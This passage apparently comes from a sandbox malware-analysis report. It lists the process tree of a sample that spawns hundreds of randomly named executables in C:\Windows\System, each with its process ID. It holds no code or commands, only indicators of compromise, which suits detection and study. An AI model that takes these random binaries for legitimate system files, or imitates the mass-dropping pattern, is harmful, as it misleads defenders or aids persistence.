  PID:4460
- C:\Windows\System\Kjeksxf.exe
  C:\Windows\System\Kjeksxf.exe
  2⤵
  PID:7148
- C:\Windows\System\TKZqGjb.exe
  C:\Windows\System\TKZqGjb.exe
  2⤵
  PID:6884
- C:\Windows\System\hvTfEBv.exe
  C:\Windows\System\hvTfEBv.exe
  2⤵
  PID:7228
- C:\Windows\System\tlulpju.exe
  C:\Windows\System\tlulpju.exe
  2⤵
  PID:7352
- C:\Windows\System\QQtqlpx.exe
  C:\Windows\System\QQtqlpx.exe
  2⤵
  PID:3388
- C:\Windows\System\ECRIPWK.exe
  C:\Windows\System\ECRIPWK.exe
  2⤵
  PID:6436
- C:\Windows\System\LEFfQsR.exe
  C:\Windows\System\LEFfQsR.exe
  2⤵
  PID:7552
- C:\Windows\System\rkKRyBm.exe
  C:\Windows\System\rkKRyBm.exe
  2⤵
  PID:7656
- C:\Windows\System\gjROPqm.exe
  C:\Windows\System\gjROPqm.exe
  2⤵
  PID:7704
- C:\Windows\System\XrhUPgM.exe
  C:\Windows\System\XrhUPgM.exe
  2⤵
  PID:6348
- C:\Windows\System\nZPBjCy.exe
  C:\Windows\System\nZPBjCy.exe
  2⤵
  PID:5104
- C:\Windows\System\ZRkyEeN.exe
  C:\Windows\System\ZRkyEeN.exe
  2⤵
  PID:7848
- C:\Windows\System\kyUTMFL.exe
  C:\Windows\System\kyUTMFL.exe
  2⤵
  PID:8212
- C:\Windows\System\CaFUIOa.exe
  C:\Windows\System\CaFUIOa.exe
  2⤵
  PID:8232
- C:\Windows\System\BPLGyFZ.exe
  C:\Windows\System\BPLGyFZ.exe
  2⤵
  PID:8256
- C:\Windows\System\CtclACm.exe
  C:\Windows\System\CtclACm.exe
  2⤵
  PID:8276
- C:\Windows\System\EgtHXwz.exe
  C:\Windows\System\EgtHXwz.exe
  2⤵
  PID:8296
- C:\Windows\System\hFpVgFJ.exe
  C:\Windows\System\hFpVgFJ.exe
  2⤵
  PID:8312
- C:\Windows\System\wMHocjV.exe
  C:\Windows\System\wMHocjV.exe
  2⤵
  PID:8332
- C:\Windows\System\PGycyWA.exe
  C:\Windows\System\PGycyWA.exe
  2⤵
  PID:8356
- C:\Windows\System\IbSuvVM.exe
  C:\Windows\System\IbSuvVM.exe
  2⤵
  PID:8376
- C:\Windows\System\IJdcLJW.exe
  C:\Windows\System\IJdcLJW.exe
  2⤵
  PID:8396
- C:\Windows\System\BXFnXmB.exe
  C:\Windows\System\BXFnXmB.exe
  2⤵
  PID:8420
- C:\Windows\System\qLNeFyL.exe
  C:\Windows\System\qLNeFyL.exe
  2⤵
  PID:8440
- C:\Windows\System\twBEWEu.exe
  C:\Windows\System\twBEWEu.exe
  2⤵
  PID:8460
- C:\Windows\System\SyVYvun.exe
  C:\Windows\System\SyVYvun.exe
  2⤵
  PID:8484
- C:\Windows\System\yBRqYtp.exe
  C:\Windows\System\yBRqYtp.exe
  2⤵
  PID:8508
- C:\Windows\System\XZKMSMH.exe
  C:\Windows\System\XZKMSMH.exe
  2⤵
  PID:8660
- C:\Windows\System\yLaOrKf.exe
  C:\Windows\System\yLaOrKf.exe
  2⤵
  PID:8688
- C:\Windows\System\zdwBZdP.exe
  C:\Windows\System\zdwBZdP.exe
  2⤵
  PID:8704
- C:\Windows\System\oINtFUj.exe
  C:\Windows\System\oINtFUj.exe
  2⤵
  PID:8720
- C:\Windows\System\egmGNQV.exe
  C:\Windows\System\egmGNQV.exe
  2⤵
  PID:8736
- C:\Windows\System\LrLUlLZ.exe
  C:\Windows\System\LrLUlLZ.exe
  2⤵
  PID:8756
- C:\Windows\System\quqEiiC.exe
  C:\Windows\System\quqEiiC.exe
  2⤵
  PID:8776
- C:\Windows\System\WLIojRt.exe
  C:\Windows\System\WLIojRt.exe
  2⤵
  PID:8796
- C:\Windows\System\mBiBdPR.exe
  C:\Windows\System\mBiBdPR.exe
  2⤵
  PID:8816
- C:\Windows\System\xwjDAvi.exe
  C:\Windows\System\xwjDAvi.exe
  2⤵
  PID:8840
- C:\Windows\System\CSykJAR.exe
  C:\Windows\System\CSykJAR.exe
  2⤵
  PID:8856
- C:\Windows\System\hovasRC.exe
  C:\Windows\System\hovasRC.exe
  2⤵
  PID:8876
- C:\Windows\System\VVpvcCQ.exe
  C:\Windows\System\VVpvcCQ.exe
  2⤵
  PID:8896
- C:\Windows\System\SYiEiiy.exe
  C:\Windows\System\SYiEiiy.exe
  2⤵
  PID:8924
- C:\Windows\System\rQnHSqG.exe
  C:\Windows\System\rQnHSqG.exe
  2⤵
  PID:8944
- C:\Windows\System\SHBQrTq.exe
  C:\Windows\System\SHBQrTq.exe
  2⤵
  PID:8968
- C:\Windows\System\oiAjKFd.exe
  C:\Windows\System\oiAjKFd.exe
  2⤵
  PID:8988
- C:\Windows\System\ysKipIS.exe
  C:\Windows\System\ysKipIS.exe
  2⤵
  PID:9008
- C:\Windows\System\qLLlGUo.exe
  C:\Windows\System\qLLlGUo.exe
  2⤵
  PID:9028
- C:\Windows\System\iIjRtok.exe
  C:\Windows\System\iIjRtok.exe
  2⤵
  PID:9052
- C:\Windows\System\PLkWPzv.exe
  C:\Windows\System\PLkWPzv.exe
  2⤵
  PID:9076
- C:\Windows\System\XaQVGJW.exe
  C:\Windows\System\XaQVGJW.exe
  2⤵
  PID:9092
- C:\Windows\System\xdnxzrH.exe
  C:\Windows\System\xdnxzrH.exe
  2⤵
  PID:9112
- C:\Windows\System\aumPIfy.exe
  C:\Windows\System\aumPIfy.exe
  2⤵
  PID:9132
- C:\Windows\System\OVVrTjg.exe
  C:\Windows\System\OVVrTjg.exe
  2⤵
  PID:9152
- C:\Windows\System\TDPxkNI.exe
  C:\Windows\System\TDPxkNI.exe
  2⤵
  PID:9172
- C:\Windows\System\PoiCSxm.exe
  C:\Windows\System\PoiCSxm.exe
  2⤵
  PID:9196
- C:\Windows\System\aqVaaJN.exe
  C:\Windows\System\aqVaaJN.exe
  2⤵
  PID:7248
- C:\Windows\System\lvmWAZv.exe
  C:\Windows\System\lvmWAZv.exe
  2⤵
  PID:7312
- C:\Windows\System\bXsFgNx.exe
  C:\Windows\System\bXsFgNx.exe
  2⤵
  PID:7988
- C:\Windows\System\JobhkCm.exe
  C:\Windows\System\JobhkCm.exe
  2⤵
  PID:8024
- C:\Windows\System\NWhmqvl.exe
  C:\Windows\System\NWhmqvl.exe
  2⤵
  PID:8068
- C:\Windows\System\EbWHRKn.exe
  C:\Windows\System\EbWHRKn.exe
  2⤵
  PID:7424
- C:\Windows\System\fbihHZK.exe
  C:\Windows\System\fbihHZK.exe
  2⤵
  PID:6408
- C:\Windows\System\Qrejrei.exe
  C:\Windows\System\Qrejrei.exe
  2⤵
  PID:7492
- C:\Windows\System\dOuKTeh.exe
  C:\Windows\System\dOuKTeh.exe
  2⤵
  PID:7572
- C:\Windows\System\fnhjbta.exe
  C:\Windows\System\fnhjbta.exe
  2⤵
  PID:6672
- C:\Windows\System\VHuNTlm.exe
  C:\Windows\System\VHuNTlm.exe
  2⤵
  PID:7204
- C:\Windows\System\uGqslmz.exe
  C:\Windows\System\uGqslmz.exe
  2⤵
  PID:8416
- C:\Windows\System\luDXHhv.exe
  C:\Windows\System\luDXHhv.exe
  2⤵
  PID:5008
- C:\Windows\System\ErluTey.exe
  C:\Windows\System\ErluTey.exe
  2⤵
  PID:7072
- C:\Windows\System\hgPRoyX.exe
  C:\Windows\System\hgPRoyX.exe
  2⤵
  PID:3628
- C:\Windows\System\ykvDAxu.exe
  C:\Windows\System\ykvDAxu.exe
  2⤵
  PID:6940
- C:\Windows\System\SGLcZCo.exe
  C:\Windows\System\SGLcZCo.exe
  2⤵
  PID:7452
- C:\Windows\System\bSLLxMj.exe
  C:\Windows\System\bSLLxMj.exe
  2⤵
  PID:7804
- C:\Windows\System\uenVtMd.exe
  C:\Windows\System\uenVtMd.exe
  2⤵
  PID:8288
- C:\Windows\System\PBVfxMd.exe
  C:\Windows\System\PBVfxMd.exe
  2⤵
  PID:8472
- C:\Windows\System\EZymXwu.exe
  C:\Windows\System\EZymXwu.exe
  2⤵
  PID:7504
- C:\Windows\System\BSjBzHH.exe
  C:\Windows\System\BSjBzHH.exe
  2⤵
  PID:7588
- C:\Windows\System\jjmPlUR.exe
  C:\Windows\System\jjmPlUR.exe
  2⤵
  PID:9240
- C:\Windows\System\TqkVEor.exe
  C:\Windows\System\TqkVEor.exe
  2⤵
  PID:9264
- C:\Windows\System\yyvihWG.exe
  C:\Windows\System\yyvihWG.exe
  2⤵
  PID:9284
- C:\Windows\System\uLvbCDm.exe
  C:\Windows\System\uLvbCDm.exe
  2⤵
  PID:9308
- C:\Windows\System\iVdHfyF.exe
  C:\Windows\System\iVdHfyF.exe
  2⤵
  PID:9324
- C:\Windows\System\NUIEtDe.exe
  C:\Windows\System\NUIEtDe.exe
  2⤵
  PID:9340
- C:\Windows\System\FiogUGA.exe
  C:\Windows\System\FiogUGA.exe
  2⤵
  PID:9360
- C:\Windows\System\wkRqdCK.exe
  C:\Windows\System\wkRqdCK.exe
  2⤵
  PID:9380
- C:\Windows\System\AsivlDN.exe
  C:\Windows\System\AsivlDN.exe
  2⤵
  PID:9396
- C:\Windows\System\OpSXIXX.exe
  C:\Windows\System\OpSXIXX.exe
  2⤵
  PID:9416
- C:\Windows\System\lCIepBr.exe
  C:\Windows\System\lCIepBr.exe
  2⤵
  PID:9456
- C:\Windows\System\fnWzjTK.exe
  C:\Windows\System\fnWzjTK.exe
  2⤵
  PID:9476
- C:\Windows\System\iNhzhZh.exe
  C:\Windows\System\iNhzhZh.exe
  2⤵
  PID:9528
- C:\Windows\System\hXmvnEU.exe
  C:\Windows\System\hXmvnEU.exe
  2⤵
  PID:9556
- C:\Windows\System\TLrnrKq.exe
  C:\Windows\System\TLrnrKq.exe
  2⤵
  PID:9576
- C:\Windows\System\tUnxuur.exe
  C:\Windows\System\tUnxuur.exe
  2⤵
  PID:9604
- C:\Windows\System\yhrgrTT.exe
  C:\Windows\System\yhrgrTT.exe
  2⤵
  PID:9624
- C:\Windows\System\EhdJTwF.exe
  C:\Windows\System\EhdJTwF.exe
  2⤵
  PID:9648
- C:\Windows\System\fzprEFb.exe
  C:\Windows\System\fzprEFb.exe
  2⤵
  PID:9672
- C:\Windows\System\wtlFjxI.exe
  C:\Windows\System\wtlFjxI.exe
  2⤵
  PID:9692
- C:\Windows\System\ZDSIIkR.exe
  C:\Windows\System\ZDSIIkR.exe
  2⤵
  PID:9712
- C:\Windows\System\UvxhwaS.exe
  C:\Windows\System\UvxhwaS.exe
  2⤵
  PID:9732
- C:\Windows\System\eyfmxdp.exe
  C:\Windows\System\eyfmxdp.exe
  2⤵
  PID:9760
- C:\Windows\System\dVOrJZQ.exe
  C:\Windows\System\dVOrJZQ.exe
  2⤵
  PID:9820
- C:\Windows\System\vwTcNUi.exe
  C:\Windows\System\vwTcNUi.exe
  2⤵
  PID:9848
- C:\Windows\System\bJQDvNJ.exe
  C:\Windows\System\bJQDvNJ.exe
  2⤵
  PID:9868
- C:\Windows\System\iqRxkoF.exe
  C:\Windows\System\iqRxkoF.exe
  2⤵
  PID:9892
- C:\Windows\System\BUnIPcT.exe
  C:\Windows\System\BUnIPcT.exe
  2⤵
  PID:9908
- C:\Windows\System\IhBIArr.exe
  C:\Windows\System\IhBIArr.exe
  2⤵
  PID:9932
- C:\Windows\System\DionexZ.exe
  C:\Windows\System\DionexZ.exe
  2⤵
  PID:9960
- C:\Windows\System\apcNPoz.exe
  C:\Windows\System\apcNPoz.exe
  2⤵
  PID:9984
- C:\Windows\System\jXvJIDL.exe
  C:\Windows\System\jXvJIDL.exe
  2⤵
  PID:10008
- C:\Windows\System\MGkKONR.exe
  C:\Windows\System\MGkKONR.exe
  2⤵
  PID:10028
- C:\Windows\System\dugwpmM.exe
  C:\Windows\System\dugwpmM.exe
  2⤵
  PID:10052
- C:\Windows\System\gUwOJkv.exe
  C:\Windows\System\gUwOJkv.exe
  2⤵
  PID:10076
- C:\Windows\System\FkhSTVL.exe
  C:\Windows\System\FkhSTVL.exe
  2⤵
  PID:10104
- C:\Windows\System\LbYUmgt.exe
  C:\Windows\System\LbYUmgt.exe
  2⤵
  PID:10124
- C:\Windows\System\TlRaEjU.exe
  C:\Windows\System\TlRaEjU.exe
  2⤵
  PID:10140
- C:\Windows\System\NUolyyc.exe
  C:\Windows\System\NUolyyc.exe
  2⤵
  PID:10172
- C:\Windows\System\XRdmTGc.exe
  C:\Windows\System\XRdmTGc.exe
  2⤵
  PID:10192
- C:\Windows\System\VzVUwLh.exe
  C:\Windows\System\VzVUwLh.exe
  2⤵
  PID:10212
- C:\Windows\System\BevZPpJ.exe
  C:\Windows\System\BevZPpJ.exe
  2⤵
  PID:7644
- C:\Windows\System\qxjwUqT.exe
  C:\Windows\System\qxjwUqT.exe
  2⤵
  PID:7724
- C:\Windows\System\qxWbyxb.exe
  C:\Windows\System\qxWbyxb.exe
  2⤵
  PID:8036
- C:\Windows\System\ZGAlIcO.exe
  C:\Windows\System\ZGAlIcO.exe
  2⤵
  PID:7936
- C:\Windows\System\YfSgOkw.exe
  C:\Windows\System\YfSgOkw.exe
  2⤵
  PID:7860
- C:\Windows\System\NZDmCmY.exe
  C:\Windows\System\NZDmCmY.exe
  2⤵
  PID:8516
- C:\Windows\System\xihjdhQ.exe
  C:\Windows\System\xihjdhQ.exe
  2⤵
  PID:8540
- C:\Windows\System\yinnwQD.exe
  C:\Windows\System\yinnwQD.exe
  2⤵
  PID:8716
- C:\Windows\System\XnJwguz.exe
  C:\Windows\System\XnJwguz.exe
  2⤵
  PID:8728
- C:\Windows\System\MXnELbu.exe
  C:\Windows\System\MXnELbu.exe
  2⤵
  PID:8936
- C:\Windows\System\nrOzIhE.exe
  C:\Windows\System\nrOzIhE.exe
  2⤵
  PID:9004
- C:\Windows\System\ePVEtcG.exe
  C:\Windows\System\ePVEtcG.exe
  2⤵
  PID:9064
- C:\Windows\System\PDEoevv.exe
  C:\Windows\System\PDEoevv.exe
  2⤵
  PID:9140
- C:\Windows\System\btoqsNC.exe
  C:\Windows\System\btoqsNC.exe
  2⤵
  PID:9204
- C:\Windows\System\IJKwlLW.exe
  C:\Windows\System\IJKwlLW.exe
  2⤵
  PID:7956
- C:\Windows\System\EnhsITa.exe
  C:\Windows\System\EnhsITa.exe
  2⤵
  PID:6404
- C:\Windows\System\OxlveVz.exe
  C:\Windows\System\OxlveVz.exe
  2⤵
  PID:6660
- C:\Windows\System\WYYCeCO.exe
  C:\Windows\System\WYYCeCO.exe
  2⤵
  PID:1612
- C:\Windows\System\qTFgMlf.exe
  C:\Windows\System\qTFgMlf.exe
  2⤵
  PID:8184
- C:\Windows\System\RaLqNMP.exe
  C:\Windows\System\RaLqNMP.exe
  2⤵
  PID:8140
- C:\Windows\System\MteQWXi.exe
  C:\Windows\System\MteQWXi.exe
  2⤵
  PID:7600
- C:\Windows\System\rYBXXXk.exe
  C:\Windows\System\rYBXXXk.exe
  2⤵
  PID:9252
- C:\Windows\System\KFpeljx.exe
  C:\Windows\System\KFpeljx.exe
  2⤵
  PID:6760
- C:\Windows\System\NWICTky.exe
  C:\Windows\System\NWICTky.exe
  2⤵
  PID:6332
- C:\Windows\System\YjrSprv.exe
  C:\Windows\System\YjrSprv.exe
  2⤵
  PID:7268
- C:\Windows\System\EZOMrVI.exe
  C:\Windows\System\EZOMrVI.exe
  2⤵
  PID:6468
- C:\Windows\System\xfyJspx.exe
  C:\Windows\System\xfyJspx.exe
  2⤵
  PID:8352
- C:\Windows\System\InEYeeg.exe
  C:\Windows\System\InEYeeg.exe
  2⤵
  PID:8272
- C:\Windows\System\VcgYhdj.exe
  C:\Windows\System\VcgYhdj.exe
  2⤵
  PID:7624
- C:\Windows\System\dnkIsFF.exe
  C:\Windows\System\dnkIsFF.exe
  2⤵
  PID:9448
- C:\Windows\System\VrehGcd.exe
  C:\Windows\System\VrehGcd.exe
  2⤵
  PID:10264
- C:\Windows\System\XUzYjZR.exe
  C:\Windows\System\XUzYjZR.exe
  2⤵
  PID:10284
- C:\Windows\System\EPvhJMu.exe
  C:\Windows\System\EPvhJMu.exe
  2⤵
  PID:10300
- C:\Windows\System\sBCDOTR.exe
  C:\Windows\System\sBCDOTR.exe
  2⤵
  PID:10320
- C:\Windows\System\XRXzuaz.exe
  C:\Windows\System\XRXzuaz.exe
  2⤵
  PID:10336
- C:\Windows\System\AjnXHEY.exe
  C:\Windows\System\AjnXHEY.exe
  2⤵
  PID:10356
- C:\Windows\System\ylysuGs.exe
  C:\Windows\System\ylysuGs.exe
  2⤵
  PID:10380
- C:\Windows\System\bjVuDPS.exe
  C:\Windows\System\bjVuDPS.exe
  2⤵
  PID:10400
- C:\Windows\System\VPthVHg.exe
  C:\Windows\System\VPthVHg.exe
  2⤵
  PID:10420
- C:\Windows\System\IisqVFV.exe
  C:\Windows\System\IisqVFV.exe
  2⤵
  PID:10444
- C:\Windows\System\wcHwyEV.exe
  C:\Windows\System\wcHwyEV.exe
  2⤵
  PID:10468
- C:\Windows\System\SWHSelO.exe
  C:\Windows\System\SWHSelO.exe
  2⤵
  PID:10492
- C:\Windows\System\BUkaOip.exe
  C:\Windows\System\BUkaOip.exe
  2⤵
  PID:10512
- C:\Windows\System\AIXWaEg.exe
  C:\Windows\System\AIXWaEg.exe
  2⤵
  PID:10536
- C:\Windows\System\PoigFJu.exe
  C:\Windows\System\PoigFJu.exe
  2⤵
  PID:10556
- C:\Windows\System\avCwQJW.exe
  C:\Windows\System\avCwQJW.exe
  2⤵
  PID:10576
- C:\Windows\System\GVFOYlS.exe
  C:\Windows\System\GVFOYlS.exe
  2⤵
  PID:10596
- C:\Windows\System\cCcckCh.exe
  C:\Windows\System\cCcckCh.exe
  2⤵
  PID:10624
- C:\Windows\System\rzLSynA.exe
  C:\Windows\System\rzLSynA.exe
  2⤵
  PID:10652
- C:\Windows\System\hMdDIqP.exe
  C:\Windows\System\hMdDIqP.exe
  2⤵
  PID:10676
- C:\Windows\System\QOcObKU.exe
  C:\Windows\System\QOcObKU.exe
  2⤵
  PID:10696
- C:\Windows\System\IMyOiqb.exe
  C:\Windows\System\IMyOiqb.exe
  2⤵
  PID:10720
- C:\Windows\System\dEHpFLo.exe
  C:\Windows\System\dEHpFLo.exe
  2⤵
  PID:10748
- C:\Windows\System\mNHBEKm.exe
  C:\Windows\System\mNHBEKm.exe
  2⤵
  PID:10768
- C:\Windows\System\feIwiAZ.exe
  C:\Windows\System\feIwiAZ.exe
  2⤵
  PID:10792
- C:\Windows\System\yayxRXL.exe
  C:\Windows\System\yayxRXL.exe
  2⤵
  PID:10816
- C:\Windows\System\nXtbFuT.exe
  C:\Windows\System\nXtbFuT.exe
  2⤵
  PID:10840
- C:\Windows\System\PaMdZjn.exe
  C:\Windows\System\PaMdZjn.exe
  2⤵
  PID:10868
- C:\Windows\System\SYyaBvY.exe
  C:\Windows\System\SYyaBvY.exe
  2⤵
  PID:10888
- C:\Windows\System\EVmwwer.exe
  C:\Windows\System\EVmwwer.exe
  2⤵
  PID:10908
- C:\Windows\System\Dldtclt.exe
  C:\Windows\System\Dldtclt.exe
  2⤵
  PID:10936
- C:\Windows\System\eEXOVmA.exe
  C:\Windows\System\eEXOVmA.exe
  2⤵
  PID:10956
- C:\Windows\System\luXvOYU.exe
  C:\Windows\System\luXvOYU.exe
  2⤵
  PID:10980
- C:\Windows\System\WyLaduT.exe
  C:\Windows\System\WyLaduT.exe
  2⤵
  PID:11000
- C:\Windows\System\qxdnhJV.exe
  C:\Windows\System\qxdnhJV.exe
  2⤵
  PID:11020
- C:\Windows\System\eBoMhlA.exe
  C:\Windows\System\eBoMhlA.exe
  2⤵
  PID:11040
- C:\Windows\System\xlvjNeS.exe
  C:\Windows\System\xlvjNeS.exe
  2⤵
  PID:11068
- C:\Windows\System\EfrGUTn.exe
  C:\Windows\System\EfrGUTn.exe
  2⤵
  PID:11092
- C:\Windows\System\NvKOXBD.exe
  C:\Windows\System\NvKOXBD.exe
  2⤵
  PID:11108
- C:\Windows\System\JHxJzBd.exe
  C:\Windows\System\JHxJzBd.exe
  2⤵
  PID:11124
- C:\Windows\System\QWftjwJ.exe
  C:\Windows\System\QWftjwJ.exe
  2⤵
  PID:11140
- C:\Windows\System\RARVyEa.exe
  C:\Windows\System\RARVyEa.exe
  2⤵
  PID:11156
- C:\Windows\System\hwNRWWj.exe
  C:\Windows\System\hwNRWWj.exe
  2⤵
  PID:11180
- C:\Windows\System\sISAHTH.exe
  C:\Windows\System\sISAHTH.exe
  2⤵
  PID:11200
- C:\Windows\System\FhzHlHg.exe
  C:\Windows\System\FhzHlHg.exe
  2⤵
  PID:11224
- C:\Windows\System\nVVNKlh.exe
  C:\Windows\System\nVVNKlh.exe
  2⤵
  PID:11244
- C:\Windows\System\gFYNzfP.exe
  C:\Windows\System\gFYNzfP.exe
  2⤵
  PID:8652
- C:\Windows\System\JicWJmG.exe
  C:\Windows\System\JicWJmG.exe
  2⤵
  PID:8676
- C:\Windows\System\FgOUSHK.exe
  C:\Windows\System\FgOUSHK.exe
  2⤵
  PID:8700
- C:\Windows\System\HtYSphv.exe
  C:\Windows\System\HtYSphv.exe
  2⤵
  PID:8824
- C:\Windows\System\mkwWClz.exe
  C:\Windows\System\mkwWClz.exe
  2⤵
  PID:8916
- C:\Windows\System\LPACxhl.exe
  C:\Windows\System\LPACxhl.exe
  2⤵
  PID:9948
- C:\Windows\System\hLmShlh.exe
  C:\Windows\System\hLmShlh.exe
  2⤵
  PID:9108
- C:\Windows\System\lWKVBbm.exe
  C:\Windows\System\lWKVBbm.exe
  2⤵
  PID:10064
- C:\Windows\System\eNabuYq.exe
  C:\Windows\System\eNabuYq.exe
  2⤵
  PID:7976
- C:\Windows\System\OFcgdfk.exe
  C:\Windows\System\OFcgdfk.exe
  2⤵
  PID:7400
- C:\Windows\System\pzlcDJr.exe
  C:\Windows\System\pzlcDJr.exe
  2⤵
  PID:6316
- C:\Windows\System\XwOZScQ.exe
  C:\Windows\System\XwOZScQ.exe
  2⤵
  PID:6736
- C:\Windows\System\PESrsep.exe
  C:\Windows\System\PESrsep.exe
  2⤵
  PID:7712
- C:\Windows\System\IsWUUjZ.exe
  C:\Windows\System\IsWUUjZ.exe
  2⤵
  PID:7916
- C:\Windows\System\AqVykIB.exe
  C:\Windows\System\AqVykIB.exe
  2⤵
  PID:8204
- C:\Windows\System\QFdfcZj.exe
  C:\Windows\System\QFdfcZj.exe
  2⤵
  PID:8788
- C:\Windows\System\ncPVVQE.exe
  C:\Windows\System\ncPVVQE.exe
  2⤵
  PID:9088
- C:\Windows\System\kCVrqRZ.exe
  C:\Windows\System\kCVrqRZ.exe
  2⤵
  PID:9368
- C:\Windows\System\PqRrHxv.exe
  C:\Windows\System\PqRrHxv.exe
  2⤵
  PID:7524
- C:\Windows\System\WyvcWsz.exe
  C:\Windows\System\WyvcWsz.exe
  2⤵
  PID:9444
- C:\Windows\System\QoFXYrk.exe
  C:\Windows\System\QoFXYrk.exe
  2⤵
  PID:9472
- C:\Windows\System\bdySnUq.exe
  C:\Windows\System\bdySnUq.exe
  2⤵
  PID:7004
- C:\Windows\System\uDjfJxf.exe
  C:\Windows\System\uDjfJxf.exe
  2⤵
  PID:9272
- C:\Windows\System\EBqNMxb.exe
  C:\Windows\System\EBqNMxb.exe
  2⤵
  PID:9516
- C:\Windows\System\jjvyMed.exe
  C:\Windows\System\jjvyMed.exe
  2⤵
  PID:11268
- C:\Windows\System\rffGQlc.exe
  C:\Windows\System\rffGQlc.exe
  2⤵
  PID:11284
- C:\Windows\System\mzCFnjp.exe
  C:\Windows\System\mzCFnjp.exe
  2⤵
  PID:11300
- C:\Windows\System\CdNsjfB.exe
  C:\Windows\System\CdNsjfB.exe
  2⤵
  PID:11316
- C:\Windows\System\TdcWjVX.exe
  C:\Windows\System\TdcWjVX.exe
  2⤵
  PID:11332
- C:\Windows\System\LVHjTAa.exe
  C:\Windows\System\LVHjTAa.exe
  2⤵
  PID:11352
- C:\Windows\System\hqDoioE.exe
  C:\Windows\System\hqDoioE.exe
  2⤵
  PID:11368
- C:\Windows\System\YZqpPnc.exe
  C:\Windows\System\YZqpPnc.exe
  2⤵
  PID:11384
- C:\Windows\System\vBOExaC.exe
  C:\Windows\System\vBOExaC.exe
  2⤵
  PID:11408
- C:\Windows\System\JssRoTm.exe
  C:\Windows\System\JssRoTm.exe
  2⤵
  PID:11432
- C:\Windows\System\ATBvKVQ.exe
  C:\Windows\System\ATBvKVQ.exe
  2⤵
  PID:11452
- C:\Windows\System\cDoUcYZ.exe
  C:\Windows\System\cDoUcYZ.exe
  2⤵
  PID:11484
- C:\Windows\System\rQZVKSd.exe
  C:\Windows\System\rQZVKSd.exe
  2⤵
  PID:11508
- C:\Windows\System\snIFnqS.exe
  C:\Windows\System\snIFnqS.exe
  2⤵
  PID:11528
- C:\Windows\System\Jryjguz.exe
  C:\Windows\System\Jryjguz.exe
  2⤵
  PID:11544
- C:\Windows\System\ZiCyDhk.exe
  C:\Windows\System\ZiCyDhk.exe
  2⤵
  PID:11560
- C:\Windows\System\XqwdjsG.exe
  C:\Windows\System\XqwdjsG.exe
  2⤵
  PID:11576
- C:\Windows\System\gUWGHMA.exe
  C:\Windows\System\gUWGHMA.exe
  2⤵
  PID:11592
- C:\Windows\System\sJfZvTL.exe
  C:\Windows\System\sJfZvTL.exe
  2⤵
  PID:11612
- C:\Windows\System\XGgTJmG.exe
  C:\Windows\System\XGgTJmG.exe
  2⤵
  PID:11636
- C:\Windows\System\YOPquZU.exe
  C:\Windows\System\YOPquZU.exe
  2⤵
  PID:11656
- C:\Windows\System\LwulQsm.exe
  C:\Windows\System\LwulQsm.exe
  2⤵
  PID:11680
- C:\Windows\System\uCzFzWE.exe
  C:\Windows\System\uCzFzWE.exe
  2⤵
  PID:11700
- C:\Windows\System\jgqSWie.exe
  C:\Windows\System\jgqSWie.exe
  2⤵
  PID:11720
- C:\Windows\System\LODNLqy.exe
  C:\Windows\System\LODNLqy.exe
  2⤵
  PID:11744
- C:\Windows\System\HnaDuvz.exe
  C:\Windows\System\HnaDuvz.exe
  2⤵
  PID:11764
- C:\Windows\System\MPTtwcw.exe
  C:\Windows\System\MPTtwcw.exe
  2⤵
  PID:11788
- C:\Windows\System\yIGsbNo.exe
  C:\Windows\System\yIGsbNo.exe
  2⤵
  PID:11812
- C:\Windows\System\ODzFpiH.exe
  C:\Windows\System\ODzFpiH.exe
  2⤵
  PID:11836
- C:\Windows\System\UJjhlHS.exe
  C:\Windows\System\UJjhlHS.exe
  2⤵
  PID:11860
- C:\Windows\System\UHwnObb.exe
  C:\Windows\System\UHwnObb.exe
  2⤵
  PID:11892
- C:\Windows\System\InkVTLA.exe
  C:\Windows\System\InkVTLA.exe
  2⤵
  PID:11912
- C:\Windows\System\nMJtuYG.exe
  C:\Windows\System\nMJtuYG.exe
  2⤵
  PID:11936
- C:\Windows\System\MPLQkmv.exe
  C:\Windows\System\MPLQkmv.exe
  2⤵
  PID:11956
- C:\Windows\System\bqKRVRq.exe
  C:\Windows\System\bqKRVRq.exe
  2⤵
  PID:11980
- C:\Windows\System\WFKTxhv.exe
  C:\Windows\System\WFKTxhv.exe
  2⤵
  PID:12004
- C:\Windows\System\hZsRpzg.exe
  C:\Windows\System\hZsRpzg.exe
  2⤵
  PID:12024
- C:\Windows\System\BiLKdVB.exe
  C:\Windows\System\BiLKdVB.exe
  2⤵
  PID:12052
- C:\Windows\System\zKwGspO.exe
  C:\Windows\System\zKwGspO.exe
  2⤵
  PID:12072
- C:\Windows\System\GqbDfNl.exe
  C:\Windows\System\GqbDfNl.exe
  2⤵
  PID:12096
- C:\Windows\System\DffwDuv.exe
  C:\Windows\System\DffwDuv.exe
  2⤵
  PID:12116
- C:\Windows\System\RNxlsbh.exe
  C:\Windows\System\RNxlsbh.exe
  2⤵
  PID:12140
- C:\Windows\System\HUkGWeD.exe
  C:\Windows\System\HUkGWeD.exe
  2⤵
  PID:12156
- C:\Windows\System\tlOQDEP.exe
  C:\Windows\System\tlOQDEP.exe
  2⤵
  PID:12184
- C:\Windows\System\pCaFGax.exe
  C:\Windows\System\pCaFGax.exe
  2⤵
  PID:12204
- C:\Windows\System\FaxwYiE.exe
  C:\Windows\System\FaxwYiE.exe
  2⤵
  PID:12224
- C:\Windows\System\KRYDGjm.exe
  C:\Windows\System\KRYDGjm.exe
  2⤵
  PID:12248
- C:\Windows\System\vDetvwF.exe
  C:\Windows\System\vDetvwF.exe
  2⤵
  PID:12268
- C:\Windows\System\RiQrCUL.exe
  C:\Windows\System\RiQrCUL.exe
  2⤵
  PID:9388
- C:\Windows\System\sVrcoUu.exe
  C:\Windows\System\sVrcoUu.exe
  2⤵
  PID:10280
- C:\Windows\System\BXLUcKh.exe
  C:\Windows\System\BXLUcKh.exe
  2⤵
  PID:10348
- C:\Windows\System\roMgGNh.exe
  C:\Windows\System\roMgGNh.exe
  2⤵
  PID:10436
- C:\Windows\System\tbSfjXF.exe
  C:\Windows\System\tbSfjXF.exe
  2⤵
  PID:8804
- C:\Windows\System\cYNhMwP.exe
  C:\Windows\System\cYNhMwP.exe
  2⤵
  PID:8852
- C:\Windows\System\VoIfSvQ.exe
  C:\Windows\System\VoIfSvQ.exe
  2⤵
  PID:8920
- C:\Windows\System\REIESWV.exe
  C:\Windows\System\REIESWV.exe
  2⤵
  PID:10668
- C:\Windows\System\PpwlsnV.exe
  C:\Windows\System\PpwlsnV.exe
  2⤵
  PID:10732
- C:\Windows\System\nleuZyy.exe
  C:\Windows\System\nleuZyy.exe
  2⤵
  PID:10812
- C:\Windows\System\TymBGoF.exe
  C:\Windows\System\TymBGoF.exe
  2⤵
